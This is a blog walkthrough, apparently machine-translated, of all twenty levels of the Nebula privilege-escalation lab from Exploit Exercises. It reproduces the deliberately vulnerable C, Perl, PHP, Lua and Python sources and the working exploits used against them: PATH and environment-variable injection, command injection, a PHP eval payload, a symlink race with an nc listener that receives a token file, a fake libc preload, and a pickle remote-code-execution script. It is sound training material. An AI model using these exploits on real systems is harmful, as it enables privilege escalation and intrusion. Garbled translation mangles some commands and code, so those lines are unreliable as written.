Exploit Exercises or another website for fans of VulnHub



All good day, thanks for reading my rastapi. Today we will talk about another website that is similar to the VulnHub. This Exploit Exercises. Despite the small number of virtualos, and their relatively old publication, learn something new there. Moreover, it is kompensiruet variety and number of levels.

It is proposed to start with a virtual machine called Nebula. It today we'll analyze.

There are 20 levels on the following topics:

the
    the
  • SUID files
  • the
  • Permissions
  • the
  • Race conditions
  • the
  • Shell meta-variables
  • the
  • $PATH weaknesses
  • the
  • Scripting language weaknesses
  • the
  • Binary compilation failures

Each level has a separate user levelXX and the user flagXX privileges which should be received, to execute in his name getflag. Let's start!

the

Level00


We are asked to find using find and run SUID user flag00.

Looking for:

the
level00@nebula:~$ find / -user flag00 2 > /dev/null
/bin/.../flag00

Run:

the
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

the

Level01


Given the source of the affected application, you need to perform getflag:

level1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}


That's what happens when you trust env :)

the
level01@nebula:~$ cd /tmp/
level01@nebula:/tmp$ ln -s /bin/getflag echo
level01@nebula:/tmp$ PATH=/tmp:$PATH
level01@nebula:/tmp$ env echo
getflag is executing on a non-flag account, this doesn't count
level01@nebula:/tmp$ /home/flag01/flag01 
You have successfully executed getflag on a target account

the

Level02


Another example of a vulnerable program, which trust environment variables:

level2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}


Just change $USER:

the
level02@nebula:~$ USER="12|getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo 12|getflag is cool")
You have successfully executed getflag on a target account

the

Level03


Here is the source, but there are crontab, and threat of law for directory:

writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm-f "$i"
done


the
level03@nebula:/home/flag03$ ls-ahl
drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh*
level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh

Some time later:

the
level03@nebula:/home/flag03$ cat /tmp/flag 
You have successfully executed getflag on a target account

crontab-u flag03 -l
*/3 * * * * /home/flag03/writable.sh


the

Level04


And then we're asked using this program to read the contents of the file token:

level4.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;

if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}


the
level04@nebula:~$ ll /home/flag04
-rwsr-x--- 1 level04 flag04 7428 2011-11-20 21:52 flag04*
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token

Times the file must not contain "token", it will not contain the "token":

the
level04@nebula:~$ /home/flag04/flag04
/home/flag04/flag04 [file to read]
level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln-s /home/flag04/token /tmp/flag04lnk

06508b5e-8909-4f38-b630-fdb148a848a2

the

Level05


At this level we do not expect right access rights set for the directory:

the
level05@nebula:~$ ll /home/flag05/
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/
-rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/

Backup is good, let's see what there is

the
level05@nebula:~$ ll /home/flag05/.backup/
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:~$ tar-xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

Excellent, private ssh key. Connect and execute getflag:

the
level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1
flag05@nebula:~$ getflag 
You have successfully executed getflag on a target account

the

Level06


In the description it says about the credentials of the previous Unix versions.

the
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

Fed hash John', which defines it as the word hello. Autoresume and pick "flag":

the
level06@nebula:~$ ssh flag06@127.0.0.1
flag06@nebula:~$ getflag 
You have successfully executed getflag on a target account

the

Level07


The user flag07 wrote my first application on the Perl:

index.cgi
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
$host = $_[0];

print("<html><head><title>Ping results</title></head><body><pre>");

@output = `ping -c 3 $host 2 > &1`;
foreach $line (@output) { print "$line"; }

print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));


Here we have the lack of filter options in the variable $host. Check the port on which it hangs:

the
level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port
port=7007

And successfully proekspluatirovat:



the

Level08


We are asked to look at a traffic dump and log. Downloaded it myself:

the
level08@nebula:~$ ls-lh /home/flag08
-rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap
$ scp level08@10.0.31.116:/home/flag08/capture.pcap ./

Look there:



Strange that the password are non-printable characters, after removing HEX dump of the password and some transformations, we get this result:

the
62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => 'o'; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."

Google quickly suggested that xterm uses 0x7f as Backspace. Therefore, the password is: backd00Rmate.

Connects and run getflag:

the
$ ssh 10.0.31.116 -l flag08
flag08@nebula:~$ getflag 
You have successfully executed getflag on a target account 

the

Level09


Available to us SUID wrapper for the affected PHP script:

level9.php
<?php

function spam($email)
{
$email = preg_replace("/\./", "dot ", $email);
$email = preg_replace("/@/", " AT ", $email);

return $email;
}

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>


Line $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); quite interesting:

    the
  1. If the content matches regular expression: "/(\[email (.*)\])/";
  2. the
  3. It is replaced by the function spam, which as argument takes a value in parentheses. And then

We can send any command:

the
level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval
level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag
You have successfully executed getflag on a target account

the

Level10


The program which is relying on access() sends over the network to any file:

basic.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family was = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO oO.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}


The idea is simple, as it first checks the access to the requested file, and then he goes, using the links, you need to catch the moment:

    the
  1. Link will point to a file that is accessed;
  2. the
  3. access() check this file;
  4. the
  5. Link will change to file, access to which we have not;
  6. the
  7. the Program successfully, we will send

And implement this. Cycle change the link:

the
level10@nebula:/tmp$ echo "token" > /tmp/token
level10@nebula:/tmp$ while true; do ln-sf /home/flag10/flag10 token; ln -sf /tmp/flag10 token; done

In another window run a loop that will send the file to:

the
level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done

Have yourself to run nc for listening port and output the data:

the
while true; do nc-l-p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO oO."; done

And almost immediately received the token:

token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Using it as a password, login as the user flag10:

the
level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag 
You have successfully executed getflag on a target account

the

Level11


There is a program, which reads STDIN, and performs

level11.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
* Return a random, non-predictable file and return the file descriptor for it.
*/

int getrand(char **path)
{
char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{
unsigned int key;
int i;

key = length &0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue= pink;
} 

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}


But not so simple. The authors write that there are 2 solutions, but as it turned out both are not working. But about all under the order:

First, we are asked to specify the number of sent bytes, then depending on that number, the line or is passed to the function process, either pre-data is copied into memory.

The process, XORit, and then gives to system. Therefore, we need to send a string, which is processed XOR'om:

flag11.py
#!/usr/bin/python
cmd = "/bin/getflag\x00"
length = 1024
key = length &0xff
enc = "

for i in range(len(cmd)):
char_byte = ord(cmd[i]) ^ key
enc += chr(char_byte & 0xff)
key = (key - ord(cmd[i])) & 0xff

if length != len(cmd):
junk = "A" * (length - len(cmd))
print( "Content-Length: %d\n%s%s" %(length, enc, junk) )
else:
print( "Content-Length: %d\n%s" %(length, enc) )



the
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

documentation to the system find it:

do Not use system() in programs with suid or sgid privileges, because some of the environment variables can cause system crashes. Instead, we recommend the use of a family of functions exec(3), but not execlp(3) or execvp(3). system (), malfunctions in programs with suid or sgid privileges on those systems where /bin/sh is replaced by bash version 2, since bash 2 resets right when you start. Debian uses a modified bash which does not produce when you run this action as it makes sh.

Bash all failed:

the
level11@nebula:/home/flag11$ ll /bin/sh
lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh - > /bin/bash*

PS after you see it on a separate compiled binary, we get the same thing. Google gave no results, apparently the authors have updated bash and update the job forgotten...

the

Level12


As stated in the description: backdoor on port 50001. Hmm, let's see:

level12.lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end

while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying" .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end


And so, again, no filtering of the data entered. Add a review:

the
level12@nebula:~$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198 #
Congrats, your token is 413**CARRIER LOST**

OK, that worked, let's try something different: 123; getflag > /tmp/flag12 #

the
level12@nebula:~$ nc 127.0.0.1 50001
Password: 123 ; getflag > /tmp/flag12 #
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account
level12@nebula:~$ 

the

Level13


Given the source, and most importantly cut out, not good:

level13_safe.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry :)

printf("your token is %s\n", token);

}


The returned string:

the
level13@nebula:~$ strings /home/flag13/flag13
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s

Disassemblieren application in gdb, we find an interesting line:

the
0x080485a2 <+222>: xor $0x5a,%edx

We have a line: 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob, we have the key: 0x5a, we have the operation: xor. Send it in Python:

the
>>> ".join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob'])
>>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'

And successfully pass the login:

the
level13@nebula:~$ su flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag 
You have successfully executed getflag on a target account

the

Level14


Given a program that encrypts everything that goes to STDIN sends STDOUT is the token that we are asked to decipher:

the
level14@nebula:~$ cat /home/flag14/token 
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.

Look at the algorithm in IDA:



Well, everything is simple, 1 line to Python:

the
>>> ".join([chr(ord(a[i])-i) for i in range(len(a))])
>>> '8457c118-887c-4e40-a5a6-33a25353165\x0b'

The token we have one last step:

the
level14@nebula:~$ su - flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
flag14@nebula:~$ getflag 
You have successfully executed getflag on a target account

the

Level15


We are asked to look at the output of the command strace, the presence of anomalies:

the
level15@nebula:~$ strace /home/flag15/flag15

strace
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0) = 0x8d3a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, an st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, an st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, an st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 - > 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, "strace it!\n", 11strace it!
) = 11
exit_group(11)

It is strange that the program tries to load libraries from the /var/tmp/flag15/. Try to give him one of your libc.so.6:

the
#include <stdio.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$
{
execv("/bin/getflag", NULL);
return 0;
}

Campiglio and run:

the
level15@nebula:/var/tmp/flag15$ gcc -shared-static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c 
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
You have successfully executed getflag on a target account

the

Level16


The next Perl CGI application, which hangs on 1616 port:

index.pl
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);


if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
} 
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));


The contents of $username is first translated to uppercase, and then sent for execution through the operator `.

Attempt to insert a command that would close the egrep, is not successful. But we can try to get around the upper case using the method from this article:
the
level16@nebula:/tmp$ cat FLAG 
#!/bin/bash
getflag > /tmp/flag16log

Go to the browser:

10.0.31.116:1616/index.cgi?username=`/*/FLAG`

And display our flag:

the
level16@nebula:/tmp$ cat flag16log 
You have successfully executed getflag on a target account


the

Level17


As stated in the description: This script listens on port 10007 and has a vulnerability. Very long-winded.

level17.py
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
line = skt.recv(1024)

obj = pickle.loads(line)

for i in obj:
clnt.send("why did you send me" + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
clnt, addr = skt.accept()

if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)


But the vulnerability is, it is in the line: obj = pickle.loads(line). Here here you can find out more about its operation. Write a script to execute commands:

the
#!/usr/bin/python
import socket
import pickle

host = '10.0.31.116'
port = 10007
cmd = "'cos
system
(S getflag > /tmp/flag17'
tR"'

s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
s.send(cmd)
s.close()

After running the resulting RCE:

the
$ ./flag17.py 
Accepted connection from 10.0.31.183:50700

the
level17@nebula:~$ cat /tmp/flag17
You have successfully executed getflag on a target account

the

Level18


We ask you to examine the source code and find vulnerabilities. Do this:

level18.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return; 
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");

globals.loggedin = 1;

}

void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}

void setuser(char *user)
{
char msg[128];

sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
char c;

while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}

dprintf("Starting up. Verbose level = %d\n", globals.verbose);

setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

while(1) {
char line[256];
char *p, *q;

q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;

dvprintf(2, "got [%s] as input\n", line);

if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}

return 0;
}


    the
  1. void notsupported(char *what) -> dprintf(what); # and here is format string vulnerability;
  2. the
  3. void login(char *pw) -> fp = fopen(PWFILE, "r"); # opens the File, but no one closes.

Stop on the login, the more just it is responsible for authorization. Try to create a lot of file descriptors. As a result, fopen shall return NULL, and then the area code, set the authorization flag. We will only need to run shell:

the
python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file-d /dev/tty

Get a bunch of messages about authorization, and actually the shell:

logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account

the

Level19


In the description of the level says that the program has an error and to look in the runtime:
level19.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;

/* Get the parent's /proc entry, so we can verify its user id */

snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

/* stat() it */

if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}

/* check the owner id */

if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the  shell  */

execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}

printf("You are unauthorized to run this program\n");
}


Judging by the code, it is necessary that the process was somehow running with UID=0. After some searching, we find article, from which we learn that if you create a fork process, and then kill him parent, the system automatically assigns a new fork of the parent process with PID=1 or the so-called init.

Python, the implementation of this approach looks like the following:

the
#!/usr/bin/python
import os, time

def child():
print 'Child ', os.getpid()
time.sleep(1)
print "Running shell..."
os.execv("/home/flag19/flag19", ('sh',))


def parent():
newpid = os.fork()
if newpid == 0:
child()
else:
pids = (os.getpid(), newpid)
print "parent: %d child: %d" % pid

parent()

After running, get the needed shell:

the
level19@nebula:/home/flag19$ cat|python /tmp/flag19.py 
parent: 3828, child: 3829
Child 3829
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account

That's all.
Article based on information from habrahabr.ru

Комментарии

Популярные сообщения из этого блога

A Bunch Of MODx Revolution + LiveStreet

Monitoring PostgreSQL with Zabbix

PostgreSQL load testing using JMeter, Yandex.Tank and Overload